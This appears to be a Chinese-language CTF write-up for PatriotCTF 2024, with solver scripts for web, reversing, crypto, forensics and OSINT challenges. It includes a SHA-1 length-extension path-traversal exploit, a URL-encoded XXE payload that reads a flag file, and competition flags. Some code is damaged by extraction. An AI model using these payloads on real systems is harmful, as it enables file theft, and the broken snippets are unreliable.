w = {} for i in xrange(16): word = chunk[i * 4 : (i + 1) * 4] (w[i],) = struct.unpack(">i", word)
for i in range(16, 80): w[i] = rotl((w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]) & top, 1)
a = h0 b = h1 c = h2 d = h3 e = h4
for i in range(0, 80): if0 <= i <= 19: f = (b & c) | ((~b) & d) k = 0x5A827999 elif 20 <= i <= 39: f = b ^ c ^ d k = 0x6ED9EBA1 elif 40 <= i <= 59: f = (b & c) | (b & d) | (c & d) k = 0x8F1BBCDC elif 60 <= i <= 79: f = b ^ c ^ d k = 0xCA62C1D6
temp = add([rotl(a, 5), f, e, k, w[i]]) e = d d = c c = rotl(b, 30) b = a a = temp
def sha1_bytes_to_str(result): # return "".join([hex(x)[2:].zfill(2) for x in result]) return "".join([hex(x)[2:].zfill(8) for x in result])
def get_h_values(hash_string): # Divide hash_string to 5 ints, 4 bytes each return [int(hash_string[i * 8 : (i + 1) * 8], 16) for i in range(5)]
# "view_profile" taken from site ("page" query parameter) block_1_buf = b"1.png" # Hash taken from site ("pHash" query parameter) # block_1_hash = b"06dadc9db741e1c2a91f266203f01b9224b5facf" block_1_hash = b"06dadc9db741e1c2a91f266203f01b9224b5facf" block_1_h_values = get_h_values(block_1_hash) # taken from description of challenge # salt_len = 12
# "aaa" is padding, since the previous SHA-1 block contains the length at the end which is parsed by PHP as Base64 data. # I align to 4 bytes in order for the appended path to be parsed correctly. block_2_buf = b"/../../../../../../../flag".replace(b"n", b"") # Pad this second block, use a custom size with additional 64 bytes to account for the first block (which is always padded to 64) block_2_buf_padded = pad(block_2_buf, len(block_2_buf) + 64) print(sha1_impl(block_2_buf_padded, *block_1_h_values)) joined_buf_hash = sha1_bytes_to_str(sha1_impl(block_2_buf_padded, *block_1_h_values)) print(joined_buf_hash) # Add 23 "A"s to simulate the SHA-1 sblock creation with the salt, but remove the salt since it'll be added by the server. for salt_len in range(12, 13): joined_buf = pad((b"A" * salt_len) + block_1_buf)[salt_len:] + block_2_buf
// Middleware to log each request app.use((req, res, next) => { const now = newDate().toISOString(); console.log(`${now} - ${req.method} request to ${req.url}`); next(); // Pass control to the next handler });
// Route to return a JSON object app.get('/get-json', (req, res) => { // URL-encoded string const encodedComment = "%3c%21%44%4f%43%54%59%50%45%20%64%20%5b%3c%21%45%4e%54%49%54%59%20%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%61%70%70%2f%66%6c%61%67%2e%74%78%74%22%3e%5d%3e%3c%74%3e%26%65%3b%3c%2f%74%3e" // Decode the URL-encoded string const decodedComment = decodeURIComponent(encodedComment); // Construct the JSON object const data = { "Comment": decodedComment, // Original encoded string };
// Return the JSON object res.json(data); });
// Start the server const PORT = process.env.PORT || 3000; app.listen(PORT, () => { console.log(`Server is running on http://localhost:${PORT}`); });
客户端请求
POST /check HTTP/1.1 Host: ServerIP:3000 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: session=.eJyrVopPy0kszkgtVrKKrlZSKAFSSrmpxcWJ6alKOkp--QrFqTmpySWpKQppmTmpSrG1OkSpiq0FAErYHiI.Zu8lIw.ZSSS4NVC8C_YhJAAJ-iPCZZFv30 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 40
We’ve been after a notorious skiddie who took the “Is it possible to have a completely secure computer system” question a little too literally. After he found out we were looking for them, they moved to live at the bottom of the ocean in a concrete box to hide from the law. Eventually, they’ll have to come up for air…or get sick of living in their little watergapped world. They sent us this message and executable. Please get their password so we can be ready.
“Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i’ll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV”
附件先用在线网站试着反编译
不能完全反编译，那就用pycdump
然后手动反编译，运算也比较简单
from base64 import b64decode, b64encode import secrets
# flipFlops = lambda x: chr(ord(x) + 1)
# f=open('topsneaky.txt','rb') # first=f.read() # bittys=secrets.token_bytes(len(first)) # onePointFive=int.from_bytes(first)^int.from_bytes(bittys) # second=onePointFive.to_bytes(len(first)) # third=b64encode(second).decode('utf-8') # bittysEnc=b64encode(bittys).decode('utf-8') # fourth='' # for each in third: # fourth+=flipFlops(each)
# fifth='Mwahahaha you will n'+fourth[0:10]+'ever crack into my pass'+fourth[10:]+"word, i'll even give you the key and the executable:::: "+bittysEnc
bittys=b64decode(bittysEnc) fourth=list(fourth.encode('utf-8')) fourth=[chr(c-1) for c in fourth] third=b64decode(str(fourth)) one=int.from_bytes(third)^int.from_bytes(bittys) first=one.to_bytes(len(third)) print(first) #PCTF{I_<3_$3CUR1TY_THR0UGH_0B5CUR1TY!!}
Puzzle Room
❝
As you delve deeper into the tomb in search of answers, you stumble upon a puzzle room, its floor entirely covered in pressure plates. The warnings of the great necromancer, who hid his treasure here, suggest that one wrong step could lead to your doom.
You enter from the center of the eastern wall. Although you suspect you’re missing a crucial clue to guide your steps, you’re confident that everything you need to safely navigate the traps is already within reach.
At the center of the room lies the key to venturing further into the tomb, along with the promise of powerful treasures to aid you on your quest. Can you find the path, avoid the traps, and claim the treasure (flag) on the central platform?
You’ve hacked into a mysterious system, only to find yourself inside a virtual machine, within another virtual machine, like stepping into a never-ending hall of mirrors. The first VM interprets the encrypted bytecode, but every instruction gets passed to a deeper layer. As you explore further, each action plunges you deeper into the abyss, where time and logic twist in ways you’ve never imagined.
Will you escape the infinite virtual prison or succumb to its endless loops? The only way out is through… all the layers.
附件拖入ida
挺简单的vm，各个函数名称都保留了，而且实际上只调用了三种指令。脚本
int main() { FILE* f = fopen("E:\oj\2024CTFWXX\2024PatriotCTF\VMception\vm_program.bin", "rb"); fseek(f, 0, 2); fseek(f, 0, 2); int len = ftell(f); fseek(f, 0, 0); char buffer[2048] = { 0 }; fread(buffer, 1, len, f);
for (int i = 0; i < len;) { i++; char tmp = 0; for (int j = 0; j < 8; j++) { tmp += buffer[i + j]; } printf("%c", tmp); i += 8; i += 2; }
return 0; } //pctf{nest3d_vm_s3cr3ts}
Packed Full Of Surprises
❝
I encrypted a file with a secret flag, but now I can’t seem to figure out how to decrypt it, can you help?
我用秘密标志加密了一个文件，但现在我似乎不知道如何解密，你能帮助吗？
upx直接脱。附件拖入ida
直接上赛博厨子
PCTF{UPX_15_2_3A$y_t0_uNp4cK}
Not another vm reversing problem
❝
You find yourself locked out of a mysterious terminal in an underground lair that’s rumored to hold the key to a treasure of unimaginable value: the flag. The terminal is powered by an ancient, quirky virtual machine that hasn’t been updated since the days of dial-up internet. Your task is simple… on the surface.
This VM is no ordinary one. It’s got an arcane stack-based architecture, four registers that feel like they’ve seen better days, and 16KB of memory that’s probably still running on hopes and dreams. But here’s the twist: the terminal was built by a paranoid genius who coded a secret message—hidden deep within the memory—wrapped in layers of logic more convoluted than the plot of a sci-fi novel.
附件拖入ida
定长指令，长度为4字节，执行的运算也就是一个减法，简单的。脚本
int main() { FILE* f = fopen("E:\oj\2024CTFWXX\2024PatriotCTF\Notanothervmreversingproblem\not_another_vm.prog", "rb"); fseek(f, 0, 2); fseek(f, 0, 2); int len = ftell(f); fseek(f, 0, 0); char buffer[2048] = { 0 }; fread(buffer, 1, len, f);
for (int i = 0; i < 30; i++) { int tmp = buffer[i * 16]; int temp = buffer[i * 16 + 4]; printf("%c", temp - tmp); }
return 0; } //pctf{th1s_vm_pr0blem_was_e4sy}
AI? PRNG
❝
I heard those tech cool buzz words use matrices. Well my (very legit) PRNG also uses matricies, can I slap AI/ML/Deep Learning on it too???? Unless???
deffunc(s1,s2): s3=[0]*4 for i in range(2): for j in range(2): s3[2*i+j]=0 for k in range(2): s3[2*i+j]+=s1[2*i+k]*s2[2*k+j] return abs(s3[0]*s3[3]-s3[1]*s3[2])
s="0123456789_{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" for i in range(len(result)): print() s1=[48,48,48,i] s2=[0xa9,i,48,0xd1] tmp=func(s1,s2)%255 if tmp==result[i]: print('0',end=' ') #continue s1=[49,i,66,i] s2=[111,i,49,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('1',end=' ') #continue s1=[50,50,i,0xaf] s2=[18,121,0xfc,50] tmp=func(s1,s2)%255 if tmp==result[i]: print('2',end=' ') #continue s1=[i,0xcd,44,i] s2=[51,0x44,0x49,0x37] tmp=func(s1,s2)%255 if tmp==result[i]: print('3',end=' ') #continue s1=[17,0xc9,52,i] s2=[0xc9,107,0xc9,52] tmp=func(s1,s2)%255 if tmp==result[i]: print('4',end=' ') #continue s1=[12,i,46,0xda] s2=[53,0xea,53,0xb9] tmp=func(s1,s2)%255 if tmp==result[i]: print('5',end=' ') #continue s1=[0xbd,i,25,54] s2=[51,i,i,54] tmp=func(s1,s2)%255 if tmp==result[i]: print('6',end=' ') #continue s1=[55,0x85,0xae,80] s2=[0x44,0x3c,55,0xc4] tmp=func(s1,s2)%255 if tmp==result[i]: print('7',end=' ') #continue s1=[i,54,i,43] s2=[56,0x99,56,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('8',end=' ') #continue s1=[57,57,57,70] s2=[0x9f,i,i,0xd5] tmp=func(s1,s2)%255 if tmp==result[i]: print('9',end=' ') #continue s1=[95,0xda,0x8b,i] s2=[95,0xc4,i,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('_',end=' ') #continue s1=[123,0xe2,i,i] s2=[0xa3,123,0xc7,0xa2] tmp=func(s1,s2)%255 if tmp==result[i]: print('{',end=' ') #continue s1=[i,40,0xc4,125] s2=[125,30,i,125] tmp=func(s1,s2)%255 if tmp==result[i]: print('}',end=' ') #continue s1=[i,0xe6,i,i] s2=[97,97,i,0x93] tmp=func(s1,s2)%255 if tmp==result[i]: print('a',end=' ') #continue s1=[98,i,i,98] s2=[0xf2,87,2,87] tmp=func(s1,s2)%255 if tmp==result[i]: print('b',end=' ') #continue s1=[99,i,38,0xc8] s2=[i,0x8e,i,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('c',end=' ') #continue s1=[116,100,i,100] s2=[0xf8,53,0xd9,100] tmp=func(s1,s2)%255 if tmp==result[i]: print('d',end=' ') #continue s1=[101,0x9c,i,16] s2=[0x69,0x2c,101,0x98] tmp=func(s1,s2)%255 if tmp==result[i]: print('e',end=' ') #continue s1=[0x97,82,i,0xb3] s2=[i,i,21,0xc5] tmp=func(s1,s2)%255 if tmp==result[i]: print('f',end=' ') #continue s1=[0xa6,0xe4,i,i] s2=[0xf2,0x2b,i,103] tmp=func(s1,s2)%255 if tmp==result[i]: print('g',end=' ') #continue s1=[104,i,0x68,0x53] s2=[25,104,0xad,15] tmp=func(s1,s2)%255 if tmp==result[i]: print('h',end=' ') #continue s1=[105,0xa0,109,0xa3] s2=[0xc6,0xc9,80,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('i',end=' ') #continue s1=[0xfb,i,i,i] s2=[60,0xe8,106,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('j',end=' ') #continue s1=[0xc6,75,0x8b,107] s2=[0x4b,0x45,107,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('k',end=' ') #continue s1=[28,0xfa,117,108] s2=[0,60,i,108] tmp=func(s1,s2)%255 if tmp==result[i]: print('l',end=' ') #continue s1=[0x9f,i,i,39] s2=[7,109,109,109] tmp=func(s1,s2)%255 if tmp==result[i]: print('m',end=' ') #continue s1=[0xd,0x5b,110,i] s2=[0x39,0x36,i,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('n',end=' ') #continue s1=[i,12,0xbc,75] s2=[0xb1,i,0xc2,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('o',end=' ') #continue s1=[0xc1,0xa1,0xe3,0xe4] s2=[90,i,82,0xbe] tmp=func(s1,s2)%255 if tmp==result[i]: print('p',end=' ') #continue s1=[i,i,106,113] s2=[20,113,113,52] tmp=func(s1,s2)%255 if tmp==result[i]: print('q',end=' ') #continue s1=[i,114,114,0xdd] s2=[114,25,114,105] tmp=func(s1,s2)%255 if tmp==result[i]: print('r',end=' ') #continue s1=[27,i,0x27,0] s2=[63,i,i,41] tmp=func(s1,s2)%255 if tmp==result[i]: print('s',end=' ') #continue s1=[i,84,i,91] s2=[i,116,0xda,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('t',end=' ') #continue s1=[117,33,0x95,0xe9] s2=[117,0x94,110,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('u',end=' ') #continue s1=[0xa7,0xce,i,118,] s2=[0x8b,118,i,71] tmp=func(s1,s2)%255 if tmp==result[i]: print('v',end=' ') #continue s1=[119,0xa7,119,119] s2=[0xdd,i,87,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('w',end=' ') #continue s1=[120,111,0x94,0x9b] s2=[0x9a,0xd1,0xa7,44] tmp=func(s1,s2)%255 if tmp==result[i]: print('x',end=' ') #continue s1=[2,0xf2,126,0xcc] s2=[56,121,121,64] tmp=func(s1,s2)%255 if tmp==result[i]: print('y',end=' ') #continue s1=[i,i,0xcc,122] s2=[i,92,0xbd,0xdd] tmp=func(s1,s2)%255 if tmp==result[i]: print('z',end=' ') #continue s1=[0x3a,0x66,65,65] s2=[0xf8,65,65,65] tmp=func(s1,s2)%255 if tmp==result[i]: print('A',end=' ') #continue s1=[44,i,66,66] s2=[66,66,91,66] tmp=func(s1,s2)%255 if tmp==result[i]: print('B',end=' ') #continue s1=[0x23,0x33,i,i] s2=[67,0x8f,i,67] tmp=func(s1,s2)%255 if tmp==result[i]: print('C',end=' ') #continue s1=[0xad,21,75,i] s2=[i,i,0xc2,68] tmp=func(s1,s2)%255 if tmp==result[i]: print('D',end=' ') #continue s1=[0xd4,i,0x82,i] s2=[i,i,i,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('E',end=' ') #continue s1=[0xb6,70,0x84,70] s2=[78,70,70,70] tmp=func(s1,s2)%255 if tmp==result[i]: print('F',end=' ') #continue s1=[108,0xbe,71,0x84] s2=[102,0x85,i,124] tmp=func(s1,s2)%255 if tmp==result[i]: print('G',end=' ') #continue s1=[0x9c,72,17,95] s2=[i,i,72,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('H',end=' ') #continue s1=[i,31,63,0x9c] s2=[i,104,0xf0,0xed] tmp=func(s1,s2)%255 if tmp==result[i]: print('I',end=' ') #continue s1=[0x45,0x38,0x1b,0x9d] s2=[0x1b,0x2e,74,74] tmp=func(s1,s2)%255 if tmp==result[i]: print('J',end=' ') #continue s1=[0xfd,75,75,75] s2=[75,75,i,0xb7] tmp=func(s1,s2)%255 if tmp==result[i]: print('K',end=' ') #continue s1=[0x20,0x66,i,0xea] s2=[i,i,i,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('L',end=' ') #continue s1=[73,4,i,77] s2=[0xef,0xbb,77,77] tmp=func(s1,s2)%255 if tmp==result[i]: print('M',end=' ') #continue s1=[i,71,78,i] s2=[0xb5,1,78,28] tmp=func(s1,s2)%255 if tmp==result[i]: print('N',end=' ') #continue s1=[79,i,0x71,0x32] s2=[0xe3,i,79,13] tmp=func(s1,s2)%255 if tmp==result[i]: print('O',end=' ') #continue s1=[0xed,i,i,27] s2=[80,80,0xbc,80] tmp=func(s1,s2)%255 if tmp==result[i]: print('P',end=' ') #continue s1=[i,36,i,i] s2=[i,0xf0,0xbf,81] tmp=func(s1,s2)%255 if tmp==result[i]: print('Q',end=' ') #continue s1=[82,i,i,i] s2=[0xa7,82,i,i] tmp=func(s1,s2)%255 if tmp==result[i]: print('R',end=' ') #continue s1=[32,83,i,108] s2=[0x94,111,83,0xfb] tmp=func(s1,s2)%255 if tmp==result[i]: print('S',end=' ') #continue s1=[0xe8,84,i,84] s2=[84,0xad,0xe0,110] tmp=func(s1,s2)%255 if tmp==result[i]: print('T',end=' ') #continue s1=[i,70,114,0xeb] s2=[85,34,0xdb,0xc5] tmp=func(s1,s2)%255 if tmp==result[i]: print('U',end=' ') #continue s1=[i,97,17,0xe8] s2=[i,35,0x8e,11] tmp=func(s1,s2)%255 if tmp==result[i]: print('V',end=' ') #continue s1=[87,51,69,0x87] s2=[i,0xcc,87,87] tmp=func(s1,s2)%255 if tmp==result[i]: print('W',end=' ') #continue s1=[88,i,107,88] s2=[88,88,i,117] tmp=func(s1,s2)%255 if tmp==result[i]: print('X',end=' ') #continue s1=[41,0xcf,89,0x81] s2=[32,89,86,0xe8] tmp=func(s1,s2)%255 if tmp==result[i]: print('Y',end=' ') #continue s1=[0x98,99,90,77] s2=[0xaf,0x8f,90,0xab] tmp=func(s1,s2)%255 if tmp==result[i]: print('0',end=' ') #continue s1=" !#$%&'()*+,-./:;<=>?@[]^_`{|}~" for c in s1: tmp=(ord(c)*i)%255 if tmp==result[i]: print(c,end=' ') #pctf{d33p_le@rnING}
Crypto
idk cipher
逆算法即可
import base64 srt_key = 'secretkey' enc = base64.b64decode("QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=") res = [] res_rsv = [] for i in range(0,len(enc),2): enc_p1 = enc[i] enc_p2 = enc[i+1] c1 = chr(enc_p1 ^ ord(srt_key[(i//2) % len(srt_key)])) c2 = chr(enc_p2 ^ ord(srt_key[(i//2) % len(srt_key)])) res.append(c1) res_rsv.append(c2)
defcontinuedFra(x, y): cf = [] while y: cf.append(x // y) x, y = y, x % y return cf
defgradualFra(cf): numerator = 0 denominator = 1 for x in cf[::-1]: numerator, denominator = denominator, x * denominator + numerator return numerator, denominator
defsolve_pq(a, b, c): par = gmpy2.isqrt(b * b - 4 * a * c) return (-b + par) // (2 * a), (-b - par) // (2 * a)
defgetGradualFra(cf): gf = [] for i in range(1, len(cf) + 1): gf.append(gradualFra(cf[:i])) return gf
defwienerAttack(e, n): cf = continuedFra(e, n) gf = getGradualFra(cf) for d, k in gf: if k == 0: continue if (e * d - 1) % k != 0: continue phi = (e * d - 1) // k p, q = solve_pq(1, n - phi + 1, n) if p * q == n: return d
N = 0xa0d9f425fe1246c25b8c3708b9f6d7747dd5b5e7f79719831c5cbe19fb7bab66ed62719b3fc6090120d2cfe1410583190cd650c32a4151550732b0fc97130e5f02aa26cb829600b6ab452b5b11373ec69d4eaae6c392d92da8bcbea85344af9d4699e36fdca075d33f58049fd0a9f6919f3003512a261a00985dc3d9843a822974df30b81732a91ce706c44bde5ff48491a45a5fa8d5d73bba5022af803ab7bd85250e71fc0254fcf078d21eaa5d38724014a85f679e8a7a1aad6ed22602465f90e6dd8ef95df287628832850af7e3628ad09ff90a6dbdf7a0e6d74f508d2a6235d4eae5a828ac95558bbdf72f39af5641dfe3edb0cdaab362805d926106e2af e = 0x5af5dbe4af4005564908a094e0eabb0a921b7482483a753e2a4d560700cb2b2dc9399b608334e05140f54d90fcbef70cec097e3f75395d0c4799d9ec3e670aca41da0892a7b3d038acb7a518be1ced8d5224354ce39e465450c12be653639a8215afb1ba70b1f8f71fc1a0549853998e2337604fca7edac67dd1e7ddeb897308ebf26ade781710e6a2fe4c533a584566ea42068d0452c1b1ecef00a781b6d31fbab893de0c9e46fce69c71cefad3119e8ceebdab25726a96aaf02a7c4a6a38d2f75f413f89064fef14fbd5762599ca8eb3737122374c5e34a7422ea1b3d7c43a110d3209e1c5e23e4eece9e964da2c447c9e5e1c8a6038dc52d699f9324fd6b9 c = 0x731ceb0ac8f10c8ff82450b61b414c4f7265ccf9f73b8e238cc7265f83c635575a9381aa625044bde7b34ad7cce901fe7512c934b7f6729584d2a77c47e8422c8c0fe2d3dd12aceda8ef904ad5896b971f8b79048e3e2f99f600bf6bac6cad32f922899c00fdc2d21fcf3d0093216bfc5829f02c08ba5e534379cc9118c347763567251c0fe57c92efe0a96c8595bac2c759837211aac914ea3b62aae096ebb8cb384c481b086e660f0c6249c9574289fe91b683609154c066de7a94eafa749c9e92d83a9d473cc88accd9d4c5754ccdbc5aa77ba9a790bc512404a81fc566df42b652a55b9b8ffb189f734d1c007b6cbdb67e14399182016843e27e6d4e5fca
d = wienerAttack(e, N) m = pow(c, d, N) print(libnum.n2s(m))
Hard to Implement
爆破一下就行
from pwn import *
io = remote("chal.competitivecyber.club",6001)
flag = b"pctf{" for i in range(16): io.sendlineafter(b"> ",b"a"*(15-len(flag))) io.recvuntil(b"> ") enc = io.recv(32) for j in range(32,127): io.sendlineafter(b"> ",b"a"*(15-len(flag))+flag+int.to_bytes(j)) io.recvuntil(b"> ") try_enc = io.recv(32) if try_enc == enc: flag += int.to_bytes(j) print(flag) break
Bit by Bit
from Crypto.Util.number import * data = open("out.txt","r").read().replace("n","") res = [[0]*16]*(len(data)//32) for i in range(0,len(data),32): res[i//32] = [int(data[i:i+32][j:j+2],16) for j in range(0,len(data[i:i+32]),2)]
kj = set(range(32,127)) | set((10,))
key = 0 for idx in range(15): pos1 = [i[idx] for i in res] for i in range(0,256): try_set = set([i^j for j in pos1]) if try_set.issubset(kj): key = (key << 8) + i
key = key << 8 iv = 0 res = b"" for i in range(0,len(data),32): chunk = int(data[i:i+32],16) iv = (iv+1) % 255 curr_k = key+iv decoded = chunk ^ curr_k res += long_to_bytes(decoded)
print(res)
Forensics
Slingshot
通过 HTTP 协议过滤数据包。找到从远程服务器下载 pyc 文件的内部 IP 地址。提取 pyc 文件并进行反编译，发现这是一个文件加密和数据外泄的脚本。该脚本固定发送到端口 22993。由此可以知道这是攻击者用来将文件外泄到外部的工具。
攻击者 IP：10.151.198.69
从其服务器 93.132.55.192 下载文件
使用
ip.src == 10.151.198.69 and not quic and tcp.port == 22993
# Use the timestamp as used during encryption (passed as second argument or calculate it) if len(sys.argv) > 2: current_time = int(sys.argv[2]) # Use provided time else: current_time = math.floor(time.time()) # Fallback to current time
# Read the encrypted data with open(encrypted_file, 'rb') as f: encrypted_data = f.read()
# Decrypt the data decrypted_data = decrypt(encrypted_data, current_time)
# Save the decrypted file output_file = 'decrypted_output.bin' with open(output_file, 'wb') as f: f.write(decrypted_data)
We had one of our agents infiltrate an adversary’s lab and photograph a gateway device that can get us access to their network. We need to develop an exploit as soon as possible. Attached is a picture of the device. Get us intel on what MCU the device is utilizing so we can continue with our research.
根据设备型号查到厂家为 Ikanos
pctf{Ikanos}
Night School
❝
It’s said that a famous geocacher has left a cache on our Fairfax campus. He took this picture before disappearing into the night. Could you help us find where this picture was
taken?
根据照片特征与题目提到的Fairfax campus，直接在谷歌图片搜索
特征与照片吻合，点进文章即可找到雕像的介绍
pctf{communitas}
Studious
❝
How much was tuition in for GWU graduate per credit hour for the 1998-1999 school year? Flag will be amount with just a period, like PCTF{1050.75} if it were $1,050.75.
根据题目找到GWU大学1998年新闻稿存档，翻到与学费相关的文章 GW Announces Lowest Tuition/ Fee Increase In A Decade
PCTF{714.50}
Porcelain Throne
❝
This toilet gives you the best view in the at sunset, which city is this located in? Flag format will be PCTF{cityname}
直接在google lens上搜索，窗框特征吻合，地区大多指向韩国大邱
PCTF{daegu}
Give me four words, Vasily
❝
We have been tracking a highly suspicious submarine believed to be harboring many enemy skiddies. Unfortunately, this satellite image is rather out of date. Your mission is to locate the submarines there using a more up-to-date image, and tell us what class they are with their NATO reporting name – a letter from the NATO phonetic alphabet, spelled out.
We want to know precisely where the aft end of northernmost submarine attached to the pier is. Communicate its location in three words. Include the NATO reporting name of the class of submarine in your answer.
Submission format: PCTF{three.position.words.class_name} Example submission: PCTF{employing.broken.imports.sierra}
